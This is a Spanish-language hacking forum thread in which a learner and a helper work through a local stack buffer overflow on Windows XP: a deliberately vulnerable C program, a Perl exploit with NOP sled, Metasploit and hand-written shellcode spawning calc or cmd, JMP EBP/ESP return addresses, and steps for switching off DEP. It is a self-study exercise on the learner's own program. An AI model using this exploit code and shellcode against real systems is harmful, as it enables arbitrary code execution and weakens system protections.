Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware
Autor
|
Tema: Buffer Overflow (ayuda) (Leído 2,519 veces)
|
ikary
Desconectado
Mensajes: 127
|
Wenas, no sabia si postear esto aqui o en la sección de Hacking Novatos. Si no es aqui lo siento  Bueno, me explico. LLevo una semana explorando con los Buffer Overflow, y tras varios manuales me puse a hacer mis pruebas. El problema es el siguiente: Estoy trabajando sobre un XP SP3 Espanish. He creado mi ejecutable explotable en C y le paso los parametros por Perl, y me encuentro en la parte de donde introducir el shellcode (que en mi caso es abrir la calculadora de windows). Tras overflowear la pila y el EIP se me keda mas o menos asi: ... ... Todo esto es basura... ... 0022FF54 31383237 7281 <---Basura introducida 0022FF58 42354558 DC5B <---EBP con basura sobreescrita 0022FF5C 41414141 AAAA <---EIP sobreescrito ... ... Mas basura... ... Ahora... en varios manuales e leido que hay que crear espacio para la scode, meter en EBP la direccion hacia el principio de la scode (o un poco antes si usamos NOP'S) y en EIP apuntar a un JMP EBP de alguna .dll cargada en memoria por el programa. La pregunta es si en el espacio de basura que hemos creado al introducir los argumentos podria meter ahi la scode y rellenar de NOP'S por arriba y por abajo, y que EBP apunte hacia uno de los NOP's de por encima de la scode. Aver si asi me explico mejor. La cosa quedaria asi: NOP NOP NOP NOP NOP NOP SCODE SCODE SCODE NOP NOP NOP NOP EBP Con direccion a 1er NOP EIP Con direccion a JMP EBP de .dll Se hace asi o me estoy haciendo un lio...? Desde ya, gracias...y ser benevolentes conmigo 
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Vas bien, tal parece que solo tienes algún problema con las direcciones de memoria, la dirección de los argumentos donde se alojo en primera tu buffer (argv[1]) Supongo es diferente de la del buffer al que se copia con el strcpy supongo.
Lo espacios entre el shellcode y el EBP e EIP, no importa para nada, puedes rellenarlo con lo que quieras.
Siempre que EBP apunte al primer byte del shellcode o en su caso a algún nop que le anteceda, no va a ver problema.
Saludos
|
|
|
|
|
En línea
|
|
|
|
ikary
Desconectado
Mensajes: 127
|
Bueno, en primer lugar, gracias. Y en segundo, sigo con mis dudas  os comento: Bueno, este es el codigo vulnerable en C: #include <cstdlib> #include <iostream>
using namespace std;
int FuncionVulnerable(char *ostia){ char buffer[300]; strcpy(buffer,ostia); }
int main(int argc, char *argv[]) { printf("\nEstamos dentro!"); FuncionVulnerable(argv[1]); return 0; }
Es un tipico codigo explotable sin ninguna cosa rara. Y este es el exploit en perl: #!/usr/bin/perl
system("cls");
my $nops= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
my $shellcode = "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcc". "\x8c\x0b\x6b\x83\xeb\xfc\xe2\xf4\x30\x64\x4f\x6b\xcc\x8c\x80\x2e". "\xf0\x07\x77\x6e\xb4\x8d\xe4\xe0\x83\x94\x80\x34\xec\x8d\xe0\x22". "\x47\xb8\x80\x6a\x22\xbd\xcb\xf2\x60\x08\xcb\x1f\xcb\x4d\xc1\x66". "\xcd\x4e\xe0\x9f\xf7\xd8\x2f\x6f\xb9\x69\x80\x34\xe8\x8d\xe0\x0d". "\x47\x80\x40\xe0\x93\x90\x0a\x80\x47\x90\x80\x6a\x27\x05\x57\x4f". "\xc8\x4f\x3a\xab\xa8\x07\x4b\x5b\x49\x4c\x73\x67\x47\xcc\x07\xe0". "\xbc\x90\xa6\xe0\xa4\x84\xe0\x62\x47\x0c\xbb\x6b\xcc\x8c\x80\x03". "\xf0\xd3\x3a\x9d\xac\xda\x82\x93\x4f\x4c\x70\x3b\xa4\x7c\x81\x6f". "\x93\xe4\x93\x95\x46\x82\x5c\x94\x2b\xef\x6a\x07\xaf\xa2\x6e\x13". "\xa9\x8c\x0b\x6b";
my $ebp = "AAAA";#"\x20\xFE\x22\x00"; <---EBP apunta a los nops encima de la shellcode my $ret = "\x03\xBB\x97\x7C";# <---EIP apunta a user32.dll (JMP EBP) my $exploit=$nops.$shellcode.$ebp.$ret; system("Proyecto2.exe ",$exploit);
print "\n\nExploit completado con exito!!!"; Aqui EIP (ret) se sobreescribe con una direccion que apunta a user32.dll a un JMP EBP, al explotar el programa, salta el fallo de que no puede saltar a "41414141" (la direccion contenida por EBP), hasta aqui perfecto. Pero al sustituir "AAAA" por la direccion real a la que quiero saltar el programa me devuelve que intenta ir a la direccion " e0408047" que no se parece en nada a la que e introducido. He leido algo, de que no se pueden introducir 00's por que los toma como fin de cadena o algo por el estilo (lo lei en un manual de un mexicano explicandolo en ingles, asi que no me entere de mucho :S) asi que intente sustituir \x00 por cualquier otro numero aver si ese era el fallo, pero tampoco, me mando a una direccion mas rara aun  (000013fb). Bueno, ese es mi dilema. Algun alma caritativa me echa una mano? Muchas gracias.
|
|
|
|
« Última modificación: 28 Enero 2010, 18:45 por ikary »
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
#!/usr/bin/perl system("cls"); my $nops= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; my $shellcode = "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcc". "\x8c\x0b\x6b\x83\xeb\xfc\xe2\xf4\x30\x64\x4f\x6b\xcc\x8c\x80\x2e". "\xf0\x07\x77\x6e\xb4\x8d\xe4\xe0\x83\x94\x80\x34\xec\x8d\xe0\x22". "\x47\xb8\x80\x6a\x22\xbd\xcb\xf2\x60\x08\xcb\x1f\xcb\x4d\xc1\x66". "\xcd\x4e\xe0\x9f\xf7\xd8\x2f\x6f\xb9\x69\x80\x34\xe8\x8d\xe0\x0d". "\x47\x80\x40\xe0\x93\x90\x0a\x80\x47\x90\x80\x6a\x27\x05\x57\x4f". "\xc8\x4f\x3a\xab\xa8\x07\x4b\x5b\x49\x4c\x73\x67\x47\xcc\x07\xe0". "\xbc\x90\xa6\xe0\xa4\x84\xe0\x62\x47\x0c\xbb\x6b\xcc\x8c\x80\x03". "\xf0\xd3\x3a\x9d\xac\xda\x82\x93\x4f\x4c\x70\x3b\xa4\x7c\x81\x6f". "\x93\xe4\x93\x95\x46\x82\x5c\x94\x2b\xef\x6a\x07\xaf\xa2\x6e\x13". "\xa9\x8c\x0b\x6b"; my $ebp = "AAAA";#"\x20\xFE\x22\x00"; <---EBP apunta a los nops encima de la shellcodemy $ret = "\x03\xBB\x97\x7C";# <---EIP apunta a user32.dll (JMP EBP) my $exploit=$nops.$shellcode.$ebp.$ret; system("Proyecto2.exe ",$exploit); print "\n\nExploit completado con exito!!!"; my $ebp = "AAAA";#"\x20\xFE\x22\x00"; <---EBP apunta a los nops encima de la shellcode el \x00 es el que te esta dando problemas, ahi solo estas controlando el EBP es posible aun asi poder saltar a la shellcode, pero si nos podido hacerlo de la manera comun, no lo podras hacer solo con el EBP. No necesariamente tienes que tener un \x00 puedes tener un \x0a etc... solo tienes que asegurarte euq en esa direccion esta el inicio del shellcode o algunos nops. Saludos
|
|
|
|
|
En línea
|
|
|
|
ikary
Desconectado
Mensajes: 127
|
Bueno, me rindo  He cambiado de metodo e intente pasarle el shellcode al comienzo de ESP y una llamada a JMP ESP desde EIP (sin saltar a direcciones diferentes, ya intentare hacer saltos mas adelante  ) quedaria asi: NOP NOP NOP NOP NOP NOP EBP <-- nops EIP <--JMP ESP ESP <--principio de la shellcode Pero... ni aun asi XDD, MSDOS me devuelve algo como (" "$%··!"!"!·%&/¬÷“”#¢∞@" no se reconoce como un comando valido) o algo asi, ahora mismo no estoy delante de mi ordenador ^^ Asi que creo que pueden estar pasando dos cosas: O que realmente no estoy metiendo bien la direccion, o que el shellcode no funcione bien. Voy a probar por ultima vez haciendo el exploit en C para poder seguir la ejecucion con el olly, por que no puedo pasarle parametros al olly desde un pl, y hasta ahora lo estaba haciendo un poquito "a ciegas". O probar a hacer el shellcode yo mismo, por que el que estoy usando lo saque de metasploit. Si alguien tiene alguna sugerencia o me puede echar una mano...  Por cierto, gracias Anon
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Sinceramente no se que este pasando contigo, hay que tener en cuenta que muchas veces las direcciones de la PILA en le depurador son diferentes que las mismas direcciones pero en el sistema real.
También podría ser que tu Win tenga desactivado la ejecución desde pila.
Saludos
|
|
|
|
|
En línea
|
|
|
|
ikary
Desconectado
Mensajes: 127
|
Yujuuuuuu! Por fin lo he conseguido!!!  Lo solucioné recogiendo los argumentos por .txt y asi podia seguir la ejecución con el Olly  Muchas gracias Anon por la ayuda  Pero esto no termina aqui, ahora tocan los "Remote" jeje Aunque por lo que e estado viendo no tiene mas misterio que pasarle los argumentos por socket. no? Bueno, me toca volver a estudiar manuales y a volver a desesperarme corrigiendo errores  De nuevo, gracias ^^ Un saludo.
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Felicidades, ahora si conociendo la teoria base, se aplica lo mismo para archivos, sockets, Variables de Entorno, Argumentos de función.
Saludos
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Ikary, vuelvo a contestar aqui, ya que tengo la solucion a tu problema sobre no poder explotarlo desde el Olly, el problema es ese el Olly debugger xD mira yo creee mi propio vulnerable  y tube mas o menos los mismo problemas al explotarlo mediante los argumentos, el problema estaba al depurar con Olly no se que cosas raras hace el punto es que no puedes desde el mira: Mi código vulnerable: #include<stdio.h> int main(int argc,char *argv[]) { char buffer[40]; printf("Numero: %d\n",argc); if(argc == 2) { strcpy(buffer,argv[1]); } } Ahora al compilar y ejecutar con un parámetro mas largo que el buffer:
 Se cuelga el programa y la ventana de información no me muestra que alguna de los registros este sobrescrito Ahora desde el Olly al depurar no me dejaba mira tambien aqui he resaltado con rojo los registros interesantes  Y despues de intentar unas 3 veces me di cuenta que era el olly cambie por Ida Pro:  Ahi si se puede depurar agusto. Saludos
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Ok, el programa vulnerable es el mismo code que puse ahi, lo compile con gcc de devcpp, sobrescribí el EIP con 60 Caracteres y eso que el buffer era de 40 pero bueno. Después de eso solo conseguir la dirección de JMP ESP y la de SYSTEM después de crear el exploit como en el manual de rojodos 56 Bytes para el relleno + 4 de JMP ESP + 32 bytes de shellcode: "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3" y FALLO: cmdD no se reconoce... Habia usado casi el mismo shellcode que rojodos en su paper, pero lo habia acortado un poco, y en lo que vi el error recordé el carácter '\0' delimitador de cadena, entonces modifique el shellcode por este: "\x55\x8B\xEC\x33\xC9\x51\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D\xFB\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3" Solo aumento en 3 bytes y el resultado: Con lo anterior creo que ya mas o menos sabes por donde estabas mal Pero... ni aun asi XDD, MSDOS me devuelve algo como (""$%··!"!"!·%&/¬÷“”#¢∞@" no se reconoce como un comando valido) o algo asi, ahora mismo no estoy delante de mi ordenador ^^ Probablemente le estabas pasando alguna otra dirección al system. Saludos
|
|
|
|
|
En línea
|
|
|
|
APOKLIPTICO
Desconectado
Mensajes: 3.781
Toys in the attic.
|
Otra cosa, me imagino que habrás desactivado el DEP, no???
|
|
|
|
|
En línea
|
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore ASUS M4A89GTD-PRO/USB3 2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T) Seagate 500 Gb XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
@APOKLIPTICO Le preguntas a Ikary o a mi xD, yo no he desactivado nada, por lo menos no lo de: 1. Ir a Panel de control > Sistema > Opciones avanzadas 2. Pulsar en Configuración de Inicio y recuperación 3. Pulsar en Editar 4. En [operating systems] sustituir NoExecute por Alwaysoff. Quedaria asi: /noexecute=Alwaysoff /fastdetect Recuerdo que habia otra menera de hacerlo y no se si esa la hice o no, pero ahorita no recuerdo donde esta. Saludos
|
|
|
|
|
En línea
|
|
|
|
ikary
Desconectado
Mensajes: 127
|
Muchisimas gracias Anon!!  La verdad es que al final no conseguí sacarlo por argumentos, me cansé de probar direcciones a ciegas y pasé a hacerlo por .txt  Voy a descargar el Ida Pro y a rehacer el exploit y luego te cuento. Un saludo, y gracias otra vez
|
|
|
|
|
En línea
|
|
|
|
APOKLIPTICO
Desconectado
Mensajes: 3.781
Toys in the attic.
|
Hablo del DEP el Data execution prevention, el que esta en propiedades de sistema, opciones avanzadas configuracion de rendimiento.
|
|
|
|
|
En línea
|
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore ASUS M4A89GTD-PRO/USB3 2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T) Seagate 500 Gb XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
a si, ahi solo tengo el DEP activado para programas de windows y servicios, no se activa para programas que yo cree, entonces el DEP lo tengo desactivado.
Saludos
|
|
|
|
|
En línea
|
|
|
|
|
|